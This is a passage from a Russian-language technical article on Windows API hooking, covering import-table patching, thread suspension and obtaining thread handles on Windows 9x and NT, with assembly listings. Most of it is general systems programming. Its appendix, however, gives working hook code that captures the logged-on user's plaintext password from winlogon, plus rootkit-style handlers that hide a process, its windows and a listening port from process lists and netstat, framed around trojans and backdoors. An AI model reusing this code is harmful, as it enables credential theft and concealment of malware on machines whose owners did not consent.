  3. после создания потока процесс получает идентификатор, то это есть создание нового процесса. В этом случае запоминаем его идентификатор и ждем вызова CsrClientCallServer с командой 10000h - инициализация процесса. Затем проверяем, был ли ранее запомнен идентификатор. Если да, то после вызова настоящего CsrClientCallServer процесс готов к применению к нему наших обработчиков.

  Код обработчиков NtCreateThread и CsrClientCallServer может выглядеть так:

myNtCreateThread             proc lpThreadHandle,DesiredAccess,\
                             lpObjectAttributes,ProcessHandle,lpClientId,\
                             lpInitialContext,lpUserStackDescriptor,\
                             CreateSuspended
             mov             eax,pbi2
             and             [eax.UniqueProcessId],0
             call            NtQueryInformationProcess,ProcessHandle,\
                             ProcessBasicInformation,eax,pbisize,NULL
             push            eax
             call            [realNtCreateThread],lpThreadHandle,\
                             DesiredAccess,lpObjectAttributes,\
                             ProcessHandle,lpClientId,lpInitialContext,\
                             lpUserStackDescriptor,CreateSuspended
             pop             ecx
             pop             eax
             or              ecx,ecx
             jl              nctexit
             test            eax,eax
             jl              nctexit
             cmp             CreateSuspended,FALSE
             je              nctexit
             mov             eax,pbi
             cmp             [eax.UniqueProcessId],0
             jne             nctexit
             mov             eax,pbi2
             call            NtQueryInformationProcess,ProcessHandle,\
                             ProcessBasicInformation,eax,pbisize,NULL
nctexit:     pop             eax
             ret
myNtCreateThread             endp

myCsrClientCallServer        proc lpStruc,Par1,dwCommand,StrucSize

             call            [realCsrClientCallServer],lpStruc,Par1,\
                             dwCommand,StrucSize
             cmp             dwCommand,10000h
             jne             cccsexit
             mov             edx,lpStruc
             cmp             dword ptr [edx+20h], 0
             jl              cccsexit
             mov             eax,pbi2
             mov             ecx,[eax.UniqueProcessId]
             jecxz           cccsexit
             pushad
             ...                             ;установка обработчиков
             popad
cccsexit:    ret
myCsrClientCallServer        endp

  При использовании метода исправления таблиц импорта в w9x можно поступить аналогичным образом, перехватив kernel32!GetStartupInfoA.
  При использовании сплайсинга модулей выше 2Gb проблема решается сама собой: эта память проецируется на все контексты, следовательно, вызовы функций из любого процесса будут перехвачены.

2.6. Приостановка потоков

  Рассмотрим метод изменения таблицы импорта модуля с целью перехвата импортируемых им функций.
  При инициализации библиотеки (вызове DllMain с причиной DLL_PROCESS_ATTACH), как было оговорено ранее, происходит исполнение кода-инсталлятора обработчиков. Конечной его целью является замещение всех входов таблицы импорта модуля, содержащих адреса перехватываемых функций, на адреса соответствующих обработчиков. Если необходимо перехватывать функции из всех модулей процесса, то эти действия будут выполняться "не моментально". Возникает проблема синхронизации: в момент перебора модулей процесса обработанные модули будут содержать одни адреса перехватываемых функций, а необработанные - другие. Это может сказаться на логике выполнения процесса.
  Чтобы избежать этого, необходимо приостанавливать потоки перед манипуляциями с таблицами импортов, а после их завершения вновь "запускать" потоки. Существуют документированные функции kernel32 SuspendThread(HANDLE hThread) и ResumeThread(HANDLE hThread), позволяющие приостанавливать и запускать потоки (вернее, их код в user-mode). Эти функции оперируют со счетчиком остановок потока (suspend count). Функция SuspendThread инкрементирует этот счетчик. Если его значение больше нуля, то поток остановлен, если значение превышает допустимое (MAXIMUM_SUSPEND_COUNT) - SuspendThread возвращает ошибку (ERROR_SIGNAL_REFUSED) и инкрементирование не производится. ResumeThread декрементирует счетчик остановок; если он достиг нуля, поток вновь становится планируемым. Для работы обоих функций необходим описатель (handle) потока, открытый с флагом THREAD_SUSPEND_RESUME.
  Проблема состоит в том, что документированный API Win32 предоставляет описатель потока только в нескольких случаях: при создании потока функцией kernel32!CreateThread, при отладке процесса как сообщение отладчику (возвращается при старте отладки или после создания потока отлаживаемым приложением через kernel32!WaitForDebugEvent), после дуплицирования имеющегося описателя и при вызове GetCurrentThread.
  Первый случай, как и третий, очевидно, неприемлемы, так как с их помощью нельзя узнать описатель уже работающего потока (не имея какого- либо его описателя в третьем случае). Второй имеет серьезный недостаток: процесс должен адекватно реагировать на отладочные сообщения, посылаемые системой для каждого отлаживаемого процесса, и при его завершении все отлаживаемые процессы уничтожатся (правда, в Windows XP этого можно избежать). Четвертый дает псевдо-описатель потока-вызывателя.
  Несмотря на это, все Win32 системы позволяют перечислять все идентификаторы потоков (аналогично идентификаторам процессов). Это несколько странно, так как по SDK "The Win32 API does not provide a way to get the thread handle from the thread identifier". В SDK предлагается использовать идентификаторы потоков для составления запросов процессу-создателю потока с целью получения описателя. По SDK, если процесс не поддерживает удаленное манипулирование его потоками, то идентификатор потока вообще теряет смысл.
  И все-таки во всех Win32 системах существует способ получения описателя потока по его идентификатору. Достаточным условием получения описателя потока с флагом THREAD_SUSPEND_RESUME является возможность открыть процесс с флагом PROCESS_ALL_ACCESS.

2.6.1. Получение описателя потока по его идентификатору в Windows 9X

  При внимательном изучении кода функции OpenProcess выясняется, что она сводится к более мощной функции, в качестве параметров к которой передаются флаги, флаг вложенности и некоторое значение, полученное из идентификатора процесса путем операции XOR его с неким двойным словом. Результатом этой операции является адрес структуры, описывающей процесс (Process Data Block).
  Далее идет проверка - описывает ли структура по адресу, полученному от указателя, процесс. Если это не процесс, то происходит выход из OpenProcess. Поэтому возникает подозрение, что идентификаторы потока и процесса мало чем различаются по своей сущности.
  Действительно, операция XOR идентификатора потока с "непонятным" двойным словом дает адрес TDB, - таким образом, для перевода идентификатора потока в его описатель достаточно "вручную" производить XOR идентификатора потока с тем двойным словом, помещать результат в eax и вызывать [OpenProcess+24h]. Из листинга OpenProcess видно, что [OpenProcess+24] (2) - "OpenThread" - читает аргументы прямо из стека (адресует их по esp). Так как код OpenProcess не изменился от Win95 к Win98, то смещение сохранится для обоих систем.

OpenProcess  proc            near

dwFlags      = dword  ptr  4
inheritance  = dword  ptr  8
pid          = dword ptr  0Ch

             push            [esp+pid]
             call            xorbyobsfucator
             test            eax, eax
             jnz             short pidconverted
             xor             eax, eax
             jmp             short bad_exit

pidconverted:cmp             byte ptr [eax], 6       ; (1)
             jz              short OpenThread
             push            57h
             call            sub_BFF7C991
             mov             ecx, 0FFFFFFFFh
             jmp             short loc_BFF95CA1
OpenThread:
             mov             ecx, 0                  ; (2)
             mov             edx, [esp+dwFlags]
             cmp             [esp+inheritance], 1
             adc             ecx, 0FFFFFFFFh
             and             edx, 1F0FFFh
             and             ecx, 80000000h
             or              ecx, edx
             mov             edx, dword_BFFC9CDC
             push            ecx
             push            eax
             push            dword ptr [edx]
             call            SomePowerfulFunction
             ...

  Остается только узнать тот "magic dword", который используется для получения адреса PDB. Это можно сделать несколькими способами. Самый безопасный и быстрый - это воспользоваться известным для текущего процесса PDB, адрес которого находится по адресу fs:[30h]. Нужно использовать XOR на нем и значении, возвращаемом GetCurrentProcessId. Тогда возможный код функции w9x_OpenThread будет выглядеть следующим образом (предполагается использование TASM в качестве компилятора, так как ниже производится чтение адреса OpenProcess из таблицы прыжков (jump table), генерируемую TASM по умолчанию; MASM генерирует код другого характера - вызовы функций API производятся путем выполнения call [x], где x - адрес входа требуемой функции в таблице импорта модуля):

w9x_OpenThread               proc flags,inheritance,tid:dword
             local           w9xopenthread:dword

             pushad
             call            GetCurrentProcessId
             xor             eax,fs:30h
             mov             ebx,eax
             lea             esi,OpenProcess+2  ; jmp far [xxxx]
             lodsd                              ; xxxx
             xchg            eax,esi
             lodsd                              ; [xxxx]=KERNEL32!OpenProcess
             lea             esi,[eax+24h]
             lodsd                              ; [OpenProcess+24h]
             mov             edi,esi
             cmp             eax,0b9h           ; mov ecx,dword ptr 0
             jnz             bad_exit
             sub             edi,4
             mov             w9xopenthread,edi
             xor             ebx,tid
             lea             esi,[ebx+2]
             call            IsBadWritePtr,esi,2
             or              eax,eax
             jnz             bad_exit
             xchg            eax,ebx
             mov             eax,w9xopenthread
             call            eax,flags,inheritance,tid
             mov             [esp.Pushad_eax],eax
             popad
             ret

bad_exit:    popad
             call            SetLastError,ERROR_ACCESS_DENIED
             xor             eax,eax
             ret
w9x_OpenThread               endp

2.6.2. Получение описателя потока по его идентификатору в Windows NT

  В Windows NT (начиная с версии 3.51) присутствует недокументированная функция ntdll!NtOpenThread, позволяющая получать описатель потока по идентификатору процесса - хозяина и идентификатору самого потока. Функция проверяет привилегии потока, вызвавшего ее, так что она не угрожает стабильности системы. Код функции находится целиком в ntoskrnl.exe, располагающейся выше 2Gb и исполняющейся в kernel mode, поэтому обычный процесс не может изменить логику выполнения этой функции. Ее прототип несколько нестандартен для WINAPI (это переходник на сервис ntoskrnl.exe, следовательно, прототип - NTKERNELAPI):

NTKERNELAPI
NTSTATUS
NtOpenThread(
OUT PHANDLE             ThreadHandle,
IN ACCESS_MASK          DesiredAccess,
IN POBJECT_ATTRIBUTES   ObjectAttributes,
IN PCLIENT_ID           ClientId OPTIONAL
);

  где

DWORD  ClientId[2];
ClientId[0] = TargetPID;
ClientId[1] = TargetTID;

  Струтура Object_Attributes должна располагаться в памяти по адресу, выравненному на 1000h. В противном случае функция возвратит ошибку - STATUS_DATATYPE_MISALIGNMENT. Для выделения памяти с начальным адресом, удовлетворяющим такому условию, можно воспользоваться стандартной функцией kernel32!VirtualAlloc.
  Отличительной чертой этой функции от ее аналога в w9x является необходимость указания идентификатора процесса - хозяина интересующего нас потока, но в большинстве случаев использования этой функции требуется полностью приостановить работу какого-либо процесса (может, за исключением какого-то потока), а при перечислении потоков требуется знать идентификатор процесса, так что указанная особенность не становится большим препятствием в использовании NtOpenThread. Дополнительный код придется писать лишь в том случае, когда необходимо получить описатель потока без начальных данных о его принадлежности. Эту информацию можно получить с помощью NtQuerySystemInformation.
  Возможный код функции nt_OpenThread может выгладеть так:

nt_OpenThread                proc flags,inheritance,tid,pid:DWORD
             local           thandle:DWORD
             local           pntot:dword
             local           _tid:dword
             local           _pid:dword

             mov             eax,tid
             mov             _tid,eax
             mov             eax,pid
             mov             _pid,eax

             call            GetModuleHandleA,offset ntdll
             call            GetProcAddress,eax,offset ntopenthread
             or              eax,eax
             jz              baderror
             mov             pntot,eax

             call            VirtualAlloc,0,100,1000h,40h
             mov             ebx,eax
             xchg            eax,edi
             push            18h
             pop             eax
             stosd
             xor                     eax,eax
             push            5
             pop             ecx
             rep             stosd

             lea             ecx,thandle
             lea             edx,_pid
             and             dword ptr [ecx],0
             call            [pntot],ecx,1f0000h,ebx,edx
             mov             eax,thandle
             call            VirtualFree,ebx,0,8000h,eax
             call            GetCurrentProcess
             pop             ebx
             lea             ecx,thandle
             and             dword ptr [ecx],0
             call            DuplicateHandle,eax,ebx,eax,\
                             ecx,1f0fffh,inheritance,\
                             DUPLICATE_CLOSE_SOURCE
             mov             eax,thandle
             ret
baderror:    xor             eax,eax
             ret
nt_OpenThread                endp

2.6.3. Получение описателя потока по его идентификатору в Windows ME/2000/XP

  В kernel32 этих операционных систем присутствует документированная функция OpenThread, использование которой делает задачу тривиальной. Синтаксис функции таков (он практически дублирует синтаксис OpenProcess):

HANDLE OpenThread(
DWORD dwDesiredAccess,  // access right
BOOL bInheritHandle,    // handle inheritance option
DWORD dwThreadId        // thread identifier
);

3. Приложения. Примеры обработчиков

  Примеры обработчиков перехваченных функций методом сплайсинга обсуждались в соответствующей главе; рассмотрим более подробно обработчики, внедренные путем исправления таблицы импорта.

Пример N1

  Любой глобальный обработчик какой-либо функции под NT должен позаботиться о распространении себя на все модули всех процессов, поэтому необходимо перехватывать функцию загрузки нового модуля, чтобы применять перехваты к свежесозданным модулям. Ранее отмечалось, что подобной функцией должна быть ntdll!LdrLoadDll. Ниже приведен простейший ее обработчик:

myLdrLoadDll proc            pSearchPath:dword,something:dword,\
                             pUniStrDllName:dword,pImageBase
             call            [realLdrLoadDll],pSearchPath,something,\
                             pUniStrDllName,pImageBase
             mov             eax,pImageBase
             call            hookmodule,dword ptr [eax]
             ret
myLdrLoadDll endp

  Однако такой метод перехвата LdrLoadDll слишком наивен: после вызова настоящей функции и до возвращения управления к нашему обработчику произойдет вызов найденной в проинициализированном модуле точки входда (DllEntry) с причиной DLL_PROCESS_ATTACH. Код, находящийся в DllEntry, может определить адреса требуемых функций с помощью неперехваченного GetProcAddress (который, естественно, возвратит истинные значения адресов), так как адрес самого GetProcAddress в таблице импорта будет заполнен загрузчиком PE - наш обработчик LdrLoadDll еще "не успеет" изменить его.
  При изучении LdrLoadDll оказывается, что она сводится к другой функции, которая и производит чтения параметров и соответствующие вызовы ядра. И в NT, и в w2k дополнительным параметром является булевская переменная - исполнять или нет цепочку DllMain. Вызовем функцию LdrLoadDll "не с начала", а после того, как положим в стек 0 - FALSE (а не 1 - TRUE). Таким образом, после завершения LdrLoadDll и соответствующего исправления таблиц импорта нам останется лишь вызвать DllMain всех вновь появившихся модулей с причиной DLL_PROCESS_ATTACH.

myLdrLoadDll proc            pSearchPath:dword, Something:dword,\
                             pUniStrDllName:dword, pImageBase:dword

             push            pSearchPath,Something,pUniStrDllName,pImageBase
             push            offset theend

             push            eax
             call            LdrGetDllHandle,TRUE,0,pUniStrDllName,esp
             test            eax,eax         ; был ли модуль загружен
                                             ; ранее?
             pop             ecx

             mov             eax,realLdrLoadDll
             jnl             normalcall
                                             ; в NT4 LdrLoadDll
                                             ; начинается командами
                                             ; push ebp | mov ebp,esp |
                                             ; push byte
checkNT4:    xor             ecx,ecx
             cmp             dword ptr [eax],6AEC8B55h
             jne             checkw2k

; для изменения адреса возврата изменим стек сами

             push            ebp
             mov             ebp,esp
             add             eax,3
             mov             cl,4
             jmp             specialcall

; w2k LdrLoadDll начинается командой push 1

checkw2k:    cmp             word ptr [eax],016Ah
             jne             normalcall

;возвратимся в analyze

specialcall: mov             [esp+ecx],offset analyze
             push            FALSE           ; запретим вызов
                                             ; DllMain'ов
             inc             eax
             inc             eax
normalcall:  jmp             eax

analyze:     push            eax             ; сохраним код возврата
             push            edi
             sub             esp,80h*4

             mov             eax,fs:18h
             mov             eax,[eax+30h]      ; PEB
             mov             ecx,[eax+_PEB.Ldr] ; начало описателя модулей
                                                ; процесса
             xor             edx,edx
             add             ecx,_PEB_LDR_DATA.\
                             InInitializationOrderModuleList.Flink
             mov             eax,[ecx]
             mov             edi,esp
             jmp             first0

nextentry:   mov             eax,[eax+LDR_MODULE.\
                             LM_InInitializationOrderModuleList.Flink]
first0:      cmp             eax,ecx         ; последний элемент
                                             ; списка ссылается на первый
             je              allentries

; выберем среди модулей процесса непроинициалированные,
; пометим их как инициализированные и сохраним их DllMain для
; инициализации

             and             [eax.LM_Flags],NOT LOAD_IN_PROGRESS
             test            [eax.LM_Flags],HAS_DLLMAIN_OR_IS_INITIALIZED
             jne             nextentry
             or              [eax.LM_Flags],HAS_DLLMAIN_OR_IS_INITIALIZED
             cmp             [eax.LM_EntryPoint],edx
             je              nextentry

             stosd
             jmp             nextentry
allentries:  and             [edi],edx

             mov             edi,esp
initloop:    mov             eax,[edi]
             test            eax,eax
             je              initdone
             add             edi,4

; изменим импорт у модуля

             call            hookmodule,[eax.LM_BaseAddress]

; сделаем DLL_PROCESS_ATTACH сами

             push            eax
             mov             ecx,[eax.LM_EntryPoint]
             or              ecx,ecx
             jz              skipcalldllmain

             call            ecx,[eax.LM_BaseAddress],DLL_PROCESS_ATTACH,NULL
skipcalldllmain:
             mov             ecx,eax
             pop             eax
             or              [eax.LM_Flags],ALLOW_DLL_PROCESS_DETACH
             or              ecx,ecx
             jne             initloop
; DllMain возвратил ошибку - выгрузим модуль и исправим код выхода

             mov             dword ptr [esp+80h*4+4],\
                             STATUS_DLL_INIT_FAILED
             call            [realLdrUnloadDll],[eax.LM_BaseAddress]

initdone:    add             esp,80h*4
             pop             edi
             pop             eax
theend:      ret
myLdrLoadDll endp

Пример N2

  Windows NT и Windows 2000 всех SP содержат "уязвимость" следующего рода: обе эти ОС после логона содержат пароль текущего пользователя, "зашифрованный" операцией XOR с ключом в 1 байт (!), и при разблокировании станции происходит дешифрование пароля и сравнивание двух строк на совпадение. Если строки не совпадают, станция не разблокировывается. В защиту Microsoft говорит только тот факт, что код, дешифрующий пароль, выполняется в контексте winlogon, то есть для его изменения либо перехвата необходима привилегия SeDebugPrivilege, которая включена в большинстве случаев только у администраторов. Однако, если администратор отлучился и оставил машину незаблокированной, то, запустив программу под правами администратора, можно узнать его пароль в чистом виде.
  Дешифрование пароля производится функцией RtlRunDecodeUnicodeString. Вот пример ее перехватчика: при вызове данной функции он показывает на экран сообщение со строчкой, которая только что расшифровалась.

myRtlRunDecodeUnicodeString  proc key:dword,unistring:dword
             local           decodebuff:dword
             local           dummy:dword

             push            ebx
             mov             ebx,unistring
             add             ebx,4
             call            IsBadReadPtr,ebx,1
             or              eax,eax
             jnz             justcall
             mov             ebx,[ebx]
             mov             decodebuff,ebx
justcall:    pop             ebx

             call            [realRtlRunDecodeUnicodeString],key,unistring
             or              eax,eax
             jz              notme

             call            lstrcpyW,offset somebuff,decodebuff

             call            CreateThread,NULL,NULL,offset msgboxthrd,\
                             offset somebuff,NORMAL_PRIORITY_CLASS,\
                             offset dummy
             call            CloseHandle,eax
notme:       ret
myRtlRunDecodeUnicodeString  endp

Пример N3

  При столь большой распространенности всяческих троянов, бэкдоров и т.п. программ, чье написание подпадает под ст. 272-274 УКРФ, становится непонятно, почему так редко среди них встречаются по-настоящему самомаскирующиеся программы. Большинство из них завершает свой маскировочный процесс на вызовах

  ShowWindow(mainwindow.handle,SW_HIDE);
  _rsp RSP=GetProcAddress(GetModuleHandle("kernel32.dll"),
                          "RegisterServiceProcess");
  if (RSP) RSP(GetCurrentProcessId(),1);

  Этот код защищает только от нажатия ctrl-alt-del в w9x и ME. Любой просмотрщик процессов и окон немедленно обнаружит такой процесс. Чтобы этого не случилось, в winNT требуется перехватить NtQuerySystemInformation для "процессной" невидимости и EnumWindows, EnumThreadWindows, EnumChildWindows для "оконной". Также, желательно было бы спрятать нечто "слушающее" на каком-либо TCP/UDP порту от команд типа "netstat -a". Все вышеперечисленное осуществляет код:

MyNtQuerySystemInformation   proc SystemInformationClass,\
                                  SystemInformation,Length, ResultLength
             uses ebx esi

             call            dword ptr [realNtQuerySystemInformation],
                             SystemInformationClass,SystemInformation,\
                             Length,ResultLength
             or              eax,eax
             jl              theend
             cmp             SystemInformationClass,SystemProcessInformation
             jne             theend
onceagain:   mov             esi,SystemInformation
getnextpidstruct:
             mov             ebx,esi
             cmp             dword ptr [esi],0
             je              theend
             add             esi,[esi]

             mov             ecx,[esi+44h]

             pushad

; определим PID - "невидимку"

             call            FindWindowA,offset wnd2hide,0
             call            GetWindowThreadProcessId,eax,offset mypid
             popad
             cmp             ecx,mypid

             jne             getnextpidstruct
             mov             edx,[esi]
             test            edx,edx
             je              fillzero
             add             [ebx],edx       ; "перебросим" указатель
                                             ; следующей записи через себя:
                                             ; тем самым в результате прохода
                                             ; по этой структуре информация
                                             ; о нас не обнаружится
             jmp             onceagain
fillzero:    and             [ebx],edx
             jmp             onceagain
theend:      ret
myNtQuerySystemInformation endp


myEnumWindows                proc enumproc:dword,enumparam:dword
             cmp             oldenumproc,0
             je              iambusy
             call            [realEnumWindows],enumproc,enumparam
             ret
iambusy:     push            enumproc
             pop             oldenumproc
             call            [realEnumWindows],offset mylenum,enumparam
             and             oldenumproc,0
             ret
myEnumWindows                endp

myenum       proc            enumhwnd:dword,b:dword
             call            FindWindowA,offset wnd2hide,0
             or              eax,eax
             je              calloldenumproc
             cmp             eax,enumhwnd            ; это наше окно?
             mov             eax,1
             je              skipoldenumproc         ; да, пропустим вызов
                                                     ; коллбэка
calloldenumproc:
             call            [oldenumproc],enumhwnd,b
skipoldenumproc:
             ret
myenum       endp

myEnumChildWindows           proc parentwnd:dword,enumproc_ecw:dword,\
                             enumparam_ecw:dword
             cmp             oldecwproc,0
             je              iambusy_ecw
             call            [realEnumChildWindows],parentwnd,enumproc_ecw,\
                             enumparam_ecw
             ret
iambusy_ecw: call            FindWindowA,offset wnd2hide,0
             or              eax,eax
             jz              iamnotrunning
             cmp             eax,parentwnd
             je              foolecw
iamnotrunning:
             push            enumproc_ecw
             pop             oldecwproc
             call            [realEnumChildWindows],parentwnd,\
                             offset myenum_ecw,enumparam_ecw
             and             oldecwproc,0
             ret
foolecw:     xor             eax,eax
             ret
myEnumChildWindows           endp


myenum_ecw   proc            enumhwnd_ecw:dword,b_ecw:dword
             call            FindWindowA,offset wnd2hide,0
             or              eax,eax
             je              calloldecwproc
             cmp             eax,enumhwnd_ecw
             mov             eax,1
             je              skipoldecwproc
calloldecwproc:
             call            [oldecwproc],enumhwnd_ecw,b_ecw
skipoldecwproc:
             ret
myenum_ecw   endp

myEnumThreadWindows          proc tid2examine:dword,etwcallback:dword,\
                             etwparam:dword
             call            FindWindowA,offset wnd2hide,0
             call            GetWindowThreadProcessId,eax,0
             cmp             eax,tid2examine
             jz              fooletw         ; если наш поток, то
                                             ; выдать ошибку
             call            [realEnumThreadWindows],tid2examine,etwcallback,\
                             etwparam
             ret
fooletw:     xor             eax,eax
             ret
myEnumThreadWindows          endp


mySnmpExtensionInit          proc currtime,hTrapEvent,hIdentifier:dword
             and             recordnum,0
             mov             currtrap,offset trapbuff
             call            [realSnmpExtensionInit],currtime,hTrapEvent,hIdentifier
             ret
mySnmpExtensionInit          endp

mySnmpExtensionQuery         proc callmode,bindList,\
                             errorStatus,errorIndex:dword
             call            [realSnmpExtensionQuery],callmode,bindList,\
                             errorStatus,errorIndex
             pushad
             or              eax,eax
             jz              skipit
             cmp             callmode,ASN_RFC1157_GETNEXTREQUEST
             jne             skipit
             mov             eax,bindList
             mov             eax,[eax.list]
             cmp             [eax.name.idLength],0ah
             jb              skipit
             mov             bindEntry,eax
             mov             eax,[eax.name.ids]
             mov             eax,[eax+9*4]

             cmp             eax,4
             jnz             check4localport

             cmp             recordnum,0
             jz              already0
             and             recordnum,0
             and             search4trap,0
already0:    inc             search4trap
             mov             ecx,search4trap
             lea             esi,trapbuff
tryalltraps: lodsd
             cmp             esi,currtrap            ; это метка на
                                                     ; изменение?
             ja              trapwalkdone
             cmp             eax,ecx
             jnz             tryalltraps
             mov             ebx,bindEntry           ; спрятать адрес
                                                     ; эндпоинта
             mov             ebx,[ebx.value.asnValue.address.stream]
             and             dword ptr [ebx],0
trapwalkdone:jmp             skipit
check4localport:
             cmp             eax,3
             jnz             skipit
             inc             recordnum
recordscounted:
             mov             ebx,bindEntry
             mov             eax,[ebx.value.asnValue.number]
             cmp             eax,PORT2HIDE           ; это наш порт?
             jnz             skipit                  ; да, показать
                                                     ; пользователю то,
                                                     ; что он хочет увидеть
             mov             [ebx.value.asnValue.number],PORT2SHOW
             mov             eax,currtrap
             add             currtrap,4
             push            recordnum
             pop             dword ptr [eax]         ; сохранить номер
                                                     ; записи для
                                                     ; последующих вызовов,
                                                     ; чтобы перехватить
                                                     ; выдачу нашего IP
skipit:      popad
             ret
mySnmpExtensionQuery         endp

Пример N4

  Ниже приведен пример простейшего исходящего TCP-файрвола пользовательского режима. Он может работать с привилегиями гостя - глобализатор распространит обработчик ws2_32!connect только на те процессы, описатели которых он сможет получить при выполнении OpenProcess с параметрами PROCESS_ALL_ACCESS.

myconnect    proc            a:dword,b:dword,c:dword
             pushad
             call            GetModuleFileNameA,0,offset
                             modnamebuff,MAX_PATH
             mov             eax,b
             mov             esi,[eax+4]
             movzx           ebx,word ptr [eax+2]
             xchg            bl,bh
             call            inet_ntoa,esi
             call            wsprintfA,offset bigbuff,offset badprogram,\
                             offset modnamebuff,eax,ebx
             add             esp,5*4
             call            MessageBoxA,0,offset bigbuff,\
                             offset warn,MB_YESNO+MB_ICONWARNING
             cmp             eax,6
             jz              good_program
             call            WSASetLastError,WSAEADDRNOTAVAIL
             popad
             xor             eax,eax
             dec             eax
             jmp             _ret
good_program:popad
             call             [realconnect],a,b,c
_ret:        ret
myconnect    endp

Источники

  1. Radim "EliCZ" Picha - www.EliCZ.cjb.net.
  2. LUEVELSMEYER. "The PE file format".
  3. Jeffrey Richter. "Programming Applications for Microsoft Windows". ISBN 1-57231-996-8.
  4. Jacky Qwerty. Win32.Cabanas (вирус).
  5. Vecna - технология записи выше 2Gb в w9x.

  [C] 90210 / HI-TECH